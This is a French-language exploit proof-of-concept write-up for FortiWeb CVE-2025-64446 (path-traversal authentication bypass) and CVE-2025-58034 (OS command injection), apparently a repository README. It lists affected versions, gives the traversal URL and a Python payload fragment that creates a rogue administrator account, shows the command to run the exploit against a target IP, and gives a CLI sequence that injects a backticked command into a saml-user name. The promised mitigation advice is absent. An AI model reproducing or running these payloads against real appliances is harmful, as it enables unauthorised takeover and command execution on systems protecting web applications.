
Exploit PoC pour FortiWeb CVE-2025-64446 (contournement d'authentification via traversée de chemin) et CVE-2025-58034 (injection de commandes OS) avec analyse détaillée et conseils d'atténuation.
FortiWeb est un dispositif Web Application Firewall (WAF) utilisé pour protéger les applications web.
En 2025, deux vulnérabilités critiques ont été découvertes :
| Champ | Contenu |
|---|---|
| Type de vulnérabilité | Relative Path Traversal Authentication Bypass |
| Cause | FortiWeb traite les chemins de manière laxiste avant l'authentification : - Contrôle d'accès basé sur la chaîne de chemin logique - Absence de normalisation complète du chemin - Autorise l'utilisation de ../ pour accéder aux ressources internes |
| Description | Certains points de terminaison (endpoints) d'administration peuvent être consultés sans authentification valide |
| Impact | - Contournement complet de l'authentification - Accès non autorisé aux fonctions d'administration - Rupture du modèle de gestion des privilèges |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Exemple :
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| Champ | Contenu |
|---|---|
| Type de vulnérabilité | OS Command Injection (CWE-78) |
| Cause | FortiWeb traite les entrées de manière non sécurisée lors de l'exécution de commandes système : - Absence de validation des entrées - Absence d'échappement des caractères spéciaux - Transmission directe des données utilisateur dans les commandes système |
| Description | La vulnérabilité nécessite une authentification mais permet d'injecter des commandes système |
| Impact | - Exécution de commandes non autorisées - Accès aux ressources système - Atteinte à l'intégrité et à la disponibilité |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Cela permet d'éviter les conflits de versions de bibliothèques, de garantir la stabilité de l'environnement de travail et de limiter l'impact sur le système.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Exécutez l'outil avec Python3 :
python3 exploit.py <IP_target>
<IP_target> : L'adresse IP correspond ici au nom d'hôte de l'appareil FortiWeb.
On obtient le nom d'utilisateur et le mot de passe -> on procède à la connexion.
Exploitation réussie : un nouveau compte avec les droits d'administrateur a été créé.
Après s'être connecté avec succès à l'aide du compte administrateur nouvellement créé, l'attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via l'interface en ligne de commande FortiWeb CLI :
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb sort de la séquence de configuration et exécute la commande id pendant la configuration de saml-user.